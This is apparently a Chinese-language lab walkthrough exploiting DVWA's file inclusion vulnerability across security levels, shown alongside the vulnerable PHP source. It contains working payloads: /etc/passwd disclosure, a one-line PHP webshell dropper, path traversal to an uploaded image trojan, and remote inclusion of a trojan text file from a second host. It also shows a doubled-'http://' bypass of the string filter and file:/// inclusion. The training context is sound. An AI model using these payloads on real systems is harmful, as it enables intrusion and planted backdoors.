文件包含分为两种:
本地文件包含/远程文件包含
LOW:
先分析两点:
网址和提示
网址给出的?page=xxxx,的意思是将访问页面的路径传给page
显而易见,我们现在访问的是include.php,那么page就是一个变量
http://192.168.5.4/dvwa/vulnerabilities/fi/?page=include.php
代码审计:
直接使用get方式传参,没有任何的门槛
File Inclusion Source
<?php
$file = $_GET['page']; //The page we wish to display
?>
本地文件包含/远程文件包含
本地文件包含:
我们直接将/etc/passwd传给page变量
http://192.168.5.4/dvwa/vulnerabilities/fi/?page=/etc/passwd
也就是说,只要我们有权限可以看到的文件,我们都可以实现
我们先通过文件上传漏洞,传给他一个php.jpg的图片木马,然后在使用文件包含解析他
一句话木马:
当我们执行这句木马的时候,他就会创建一个shell20.php的文件,里面就是一句话木马
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[123]);?>')?>
我们成功上传了木马图片,现在复制路径到本地包含文件漏洞里执行它
就是把路径放到page变量里
http://192.168.5.4/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/0.jpg
解析成功
现在我们可以使用菜刀链接:
远程文件包含:
远程文件包含相对于本地文件包含比较简单,不需要上传后再执行
我们只需要在本地搭建一个服务器也可以是共享
共享什么?当然是图片木马文件或是一个txt文件
我们这里使用phpstudy,在www文件夹下创建一个1.txt的木马文件,利用网站的远程文件包含漏洞来触发
1.txt文件中的木马:我们这里改为shell21.php防止与刚刚的shell20.php混淆
<?fputs(fopen("shell21.php","w"),'<?php eval($_POST[123]);?>')?>
我们复制一下路径
http://192.168.5.5/1.txt
放到dvwa的文件包含漏洞中执行
http://192.168.5.4/dvwa/vulnerabilities/fi/?page=http://192.168.5.5/1.txt
显示的是空白页,没有报错
使用菜刀,尝试连接shell21.php
成功
MEDIUM:
首先是,代码审计:
这里利用str_replace函数,他的意思是替换,将https://和http://替换成空
也就是说让我们的远程文件包含漏洞失效
File Inclusion Source
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
本地包含文件依旧可以用,没有影响
尝试使用远程文件包含漏洞
远程文件包含漏洞:
现在已知替换为空,我们进行普通尝试
http://192.168.5.4/dvwa/vulnerabilities/fi/?page=http://192.168.5.5/1.txt
空白页
我们开始尝试使用菜刀链接
无响应,我们直接去网站目录里面去看看吧
在fi路径下面,并没有什么shell21.php
也就是说,我们的远程文件包含被php脚本阻止了
怎么破解?加混淆
我们使用混淆,php代码只是将一个http://替换为空,那我们使用两个http://变为混淆
替换一个我们还有一个
http://192.168.5.4/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.5.5/1.txt
网站目录里面存在了shell21.php
使用菜刀链接:
成功
HIGH:
代码分析:
这里是指定网页,如果我们给$file的值不是include.php就报错
File Inclusion Source
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
卒
添加一个案例:
代码审计:
可以使用file:///本地路径
File Inclusion Source
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( !(fnmatch( "file*", $file)) && $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
例如:
使用file:///来访问本地的木马
http://192.168.5.4/dvwa/vulnerabilities/fi/?page=file:///D:/phpstuy/www/1.txt